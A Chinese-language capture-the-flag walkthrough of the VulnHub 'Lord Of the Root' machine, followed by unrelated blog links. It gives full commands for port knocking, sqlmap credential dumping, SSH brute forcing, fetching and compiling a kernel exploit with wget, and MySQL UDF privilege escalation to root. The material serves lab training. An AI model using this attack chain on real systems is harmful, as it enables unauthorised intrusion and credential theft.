前言

Description:我创建这台机器是为了帮助其他人学习一些基本的CTF黑客策略和一些工具。我瞄准了这台机器,使其在难度上与我在OSCP上破解的机器非常相似。

这是一个引导到根计算机将不需要任何来宾交互。

有两种设计的权限提升方法。

靶机环境

kali 192.168.31.153

Lord Of the root 192.168.31.161

靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

实战

信息收集

首先对靶机存活探测,端口碰撞,web页面枚举

端口碰撞:
端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击
端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包
当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过
由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制

nmap探测

使用nmap探测存活主机和对主机进行详细扫描

nmap 192.168.31.0/24  //探测存活主机
nmap 192.168.31.161 -sV -p- -O -A //扫描版本信息,全端口,操作系统,详细信息

仅仅发现了一个ssh的22端口,尝试使用ssh远程登录

ssh ssh@192.168.31.161

发现了一个提示,Easy as 1,2,3,是一个端口碰撞,碰撞序列为1,2,3(端口碰撞要求知道碰撞序列)

端口碰撞

在这里使用kali的knockd工具,进行端口碰撞,如果没有安装konckd按照以下命令执行(如果没有更新包可以更换更新apt源进行下载安装)

apt install knockd  apt安装knockd
man knock //查看可用参数
knock 192.168.31.161 1 2 3 -v //开始端口碰撞,-v输出状态信息

看到以上页面说明碰撞成功,再次使用nmap查看开启的端口信息

web页面枚举

查看到http端口1337,在kali的浏览器访问http://192.168.31.161:1337

使用目录扫描工具dirsearch枚举页面信息

python3 dirsearch.py -u http://192.168.31.161:1337/ -e*

拿到了两个web页面,一个是404.html 还有一个是/images/和初始访问页面,分别访问并查看页面源码

/images/页面及其页面源码如下:

初始访问页面源码:

发现以上源码除了图片就是图片,只能把宝压在404页面

404.html页面及其源码:

发现了一串base64编码,使用burp的decoder模块反base64编码,

发现又是一层base64编码,继续编码一次

得到了一个文件路径,浏览器访问http://192.168.31.161/978345210/index.php

发现是一个登录页面,使用弱口令尝试并没有成功,一般登录界面除了弱口令,还有就是SQL注入,我们把枪口转到SQL注入

渗透

对页面进行简单的闭合,发现并没有任何回显后,转而使用sqlmap简单扫一下,查看是否有注入点

SQL注入--sqlmap--时间盲注

爆库
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms  -dbs --batch

--forms  //post注入参数
--dbs //爆出当前系统所有数据库
--batch //自动选择选项扫描
-u //后面跟url链接

发现使用了时间盲注,并且爆出了当前数据库是Webapp

爆表

接下来使用获取到的Webapp库爆表

sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms  -D Webapp --tables  --batch --technique T

--technique T  //使用的是时间盲注技术
-D Webapp //使用数据库Webapp进行注入
--tables //爆出所有表

得到一个Users表

爆字段

再使用Users表爆字段

sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms  -D Webapp -T Users --columns  --batch --technique T

--columns //爆出所有字段

爆数据
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms  -D Webapp -T Users -C id,password,username --dump  --batch --technique T

暴力破解拿shell

拿到用户和密码,可以尝试去web界面登录,我这里登录后发现没有什么线索,直接跳过来到爆破ssh,爆破ssh可以使用以下两种方法,msf的auxiliary/scanner/ssh/ssh_login和hydra爆破

将用户和密码分别存储在Users.txt和Password.txt

MSF爆破拿shell
msfconsole
search ssh_login
use 0或者use auxiliary/scanner/ssh/ssh_login
show options
set rhost 192.168.31.161
set user_file Users.txt
set pass_file Password.txt
exploit

从结果可知用户和密码分别是smeagol/MyPreciousR00t

hydra爆破
hydra -L Users.txt -P Password.txt  192.168.31.161 -s 22 ssh

同样也是拿到一样的用户和密码,两种方法二选一即可

后渗透

获取到ssh的用户密码,登录后台拿shell

ssh smeagol@192.168.31.161
MyPreciousR00t

提权

查看内核版本

cat /proc/version

发现是linux 3.19.0 ubuntu 14.04

内核提权

在浏览器查看到14.04有内核提权漏洞

使用searchsploit查看kali自带归档的提权脚本

searchsploit linux ubuntu 14.04 Privilege Escalation
//有跟着Privilege Escalation字样都是可用于提权的脚本

本次使用的脚本是39166.c,复制出来,查看用法

find / -name 39166.c
cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/39166.c
cat 39166.c

脚本中是直接使用exp进行提权,说明我们要将c脚本用gcc进行编译再执行

在此之前,先查看靶机后台可写入有哪些文件夹

find / -writable 2>/dev/null
以下只截一部分

可以看到/tmp或者/var/tmp的临时文件夹都能写入,在kali使用python开启http服务,将提权脚本传至/tmp或者/var/tmp文件夹

kali:
python3 -m http.server 8989
靶机:
cd /tmp //进入tmp文件夹
wget http://192.168.31.153:8989/39166.c //下载39166.c
ls //查看
gcc 39166.c -o overlays //编译39166.c为overlays
chmod +x overlays //赋予执行权限
./overlays //执行获取root
id //查看权限
cd /root //进入root目录
cat Flag.txt //查看flag

到此提权成功,以下是其他几种方法

Mysql UDF sys_exec sys_eval提权

这是第二种方法,mysql的udf提权

udf提权的条件:
root 权限运行mysql
在mysql 5.5 之前secure_file_priv 默认是空,这个情况下可以像任意路径写文件
在mysql 5.5 之后 secure_file_priv 默认是NULL 这个情况下不可以写文件
udf.dll文件必须防止在mysql安装目录的lib\plugin文件下才可以创建自定义函数

使用udf在系统将find命令写入权限

首先查看mysql版本和是否运行

dpkg -l | grep mysql

mysql版本是5.5,其次就是查找登录mysql的用户密码,一般都在搭建的web页面下,去/var/www/978345210下查看,发现mysql相关配置信息在login.php能看到用户和密码,root/darkshadow

利用mysql用户密码登录,并查看是否能够提权

mysql -u root -pdarkshadow
show databases;
use mysql;
show global variables like 'secure%'; //查看secure_file_priv是否为空

发现secure_file_priv为空,可写入文件路径权限

接下来就利用kali自带的udf创建函数用于写入权限,本次使用lib_mysqludf_sys_32.so

locate lib_mysqludf_sys //查看本地udf
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /root/udf.so //将lib_mysqludf_sys_32.so复制到/root下操作
du udf.so //查看大小方便后面使用不同的二进制类型

从前面已经知道/tmp和/var/tmp有写入权限,就将udf.so下载到/tmp或者/var/tmp路径下

cd /tmp
wget http://192.168.31.153:8989/udf.so

重新进入mysql开始创建函数

use mysql;  //使用mysql数据库
create table udf(line blob); //创建udf表,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so'));//在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; //将udf文件内容传入新建的udf.so文件中,路径根据自己的文件路径修改
create function sys_eval returns string soname 'udf.so'; //创建自定义函数
select * from mysql.func; //查看函数
select sys_eval('chmod u+x /usr/bin/find'); //调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
quit 注:下图作为参考,权限我已经写入,仅仅展示命令成功的界面

find / -exec '/bin/sh' \;
whoami
cd /root
cat Flag.txt

总结

1.信息收集:(1)nmap挖掘信息 (2)端口碰撞 (3)web页面信息枚举

2.渗透: (1)SQL注入--sqlmap(爆库,爆表,爆字段,爆数据) (2)暴力破解获取webshell

3.后渗透: (1)提权(内核提权,Mysql udf sys_eval sys_exec提权)(2)缓冲区溢出(文件化随机绕过,绕过ASLR,pwndbg分析,forr循环Nop,环字符查询,shellcode编写,bash编写脚本,小技巧objdump、vmmap、checksec、Jmp)

Lord Of The Root: 1.0.1实战的更多相关文章

  1. 前后端分离之vue2.0+webpack2 实战项目 -- webpack介绍

    webpack的一点介绍 Webpack 把任何一个文件都看成一个模块,模块间可以互相依赖(require or import),webpack 的功能是把相互依赖的文件打包在一起.webpack 本 ...

  2. vue2.0与实战开发

    慕课网实战 百度云 web前端实战: Node.js入门到企业Web开发中的应用 Web前端性能优化 让你的页面飞起来 前端跳槽面试必备技巧 前端JavaScript面试技巧全套 node.JS 线上 ...

  3. (28000): Access denied for user 'root'@'127.0.0.1' (using password: YES)

      在一台测试服务器测试Python脚本时,执行Python脚本时报如下错误: 主要错误信息为"operation the sql fail!1045 (28000): Access den ...

  4. Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员、后台管理员同时登录

    1.登录的实现 登录功能实现起来有哪些常用的方式,大家首先想到的肯定是cookie或session或cookie+session,当然还有其他模式,今天主要探讨一下在Asp.net core 2.0下 ...

  5. Asp.Net Core 2.0 项目实战(11) 基于OnActionExecuting全局过滤器,页面操作权限过滤控制到按钮级

    1.权限管理 权限管理的基本定义:百度百科. 基于<Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员.后台管理员同时登录>我们做过了登录认证, ...

  6. Asp.Net Core 2.0 项目实战(9) 日志记录,基于Nlog或Microsoft.Extensions.Logging的实现及调用实例

    本文目录 1. Net下日志记录 2. NLog的使用     2.1 添加nuget引用NLog.Web.AspNetCore     2.2 配置文件设置     2.3 依赖配置及调用     ...

  7. Asp.Net Core 2.0 项目实战(8)Core下缓存操作、序列化操作、JSON操作等Helper集合类

    本文目录 1.  前沿 2.CacheHelper基于Microsoft.Extensions.Caching.Memory封装 3.XmlHelper快速操作xml文档 4.Serializatio ...

  8. Asp.Net Core 2.0 项目实战(7)MD5加密、AES&DES对称加解密

    本文目录 1. 摘要 2. MD5加密封装 3. AES的加密.解密 4. DES加密/解密 5. 总结 1.  摘要 C#中常用的一些加密和解密方案,如:md5加密.RSA加密与解密和DES加密等, ...

  9. Asp.Net Core 2.0 项目实战(6)Redis配置、封装帮助类RedisHelper及使用实例

    本文目录 1. 摘要 2. Redis配置 3. RedisHelper 4.使用实例 5. 总结 1.  摘要 由于內存存取速度远高于磁盘读取的特性,为了程序效率提高性能,通常会把常用的不常变动的数 ...

  10. net core体系-web应用程序-4asp.net core2.0 项目实战(1)-13基于OnActionExecuting全局过滤器,页面操作权限过滤控制到按钮级

    1.权限管理 权限管理的基本定义:百度百科. 基于<Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员.后台管理员同时登录>我们做过了登录认证, ...

随机推荐

  1. [Java]排序算法>交换排序>【冒泡排序】(O(N*N)/稳定/N较小/有序/顺序+链式)

    1 冒泡排序 1.1 算法思想 交换排序的基本思想:两两比较待排序记录的关键字,一旦发现2个记录不满足次序要求时,则:进行交换,直到整个序列全部满足要求为止. 1.2 算法特征 属于[交换排序] 冒泡 ...

  2. 四月二十四号java基础知识

    1.输入输出是指程序与外部设备或其他计算机进行交互的操作2.流(stream)是指计算机各部件之间的数据流动流的内容上划分:流分为字节流和字符流3.输入流:将数据从外设或外存(如键盘.鼠标.文件等)传 ...

  3. Mybatis-Plus如何自定义SQL注入器?

    有关Mybatis-Plus常用功能之前有做过一篇总结: MyBatisPlus常用功能总结!(附项目示例) 一.什么是SQL注入器 我们在使用Mybatis-Plus时,dao层都会去继承BaseM ...

  4. Mac终端出现 brew command not found 解决

    MacOS 上您需要安装 unrar 以支持 PaddlePaddle,可以使用命令brew install unrar 执行命令后发现 brew 不存在 jimmy@MacBook-Pro ~ % ...

  5. 2023-02-23:请用go语言调用ffmpeg,解码mp4文件并保存为YUV420P格式文件。

    2023-02-23:请用go语言调用ffmpeg,解码mp4文件并保存为YUV420P格式文件. 答案2023-02-23: 使用 github.com/moonfdd/ffmpeg-go 库. 解 ...

  6. JS中的纯函数

    在JavaScript中,纯函数是指在相同的输入下,始终产生相同的输出,并且没有副作用的函数.纯函数不会修改或依赖于函数之外的状态,也不会对外部环境产生任何可观察的影响. 以下是纯函数的特点: 1. ...

  7. Selenium - 快速上手之启动浏览器

    Selenium - 浏览器启动/关闭 使用webdriver前,需要先导入包 from selenium import webdriver,每次打开浏览器时; 执行完毕要记得关闭浏览器,使用 dri ...

  8. nodejs 入门基本概念

    nodejs 的诞生   Node.js 是2009的时候由大神 Ryan Dahl 开发的.Ryan 的本职工作是用 C++ 写服务器,后来他总结出一个经验,一个高性能服务器应该是满足"事 ...

  9. query查询原生sql

    print(str(Teahcer.objects.filter(fans__gte=500).order_by('name').query)

  10. 这10个Lambda表达式必须掌握,简化你的代码,提高生产力

    Lambda 表达式(lambda expression)是一个匿名函数,Lambda表达式基于数学中的λ演算得名,直接对应于其中的lambda抽象(lambda abstraction),是一个匿名 ...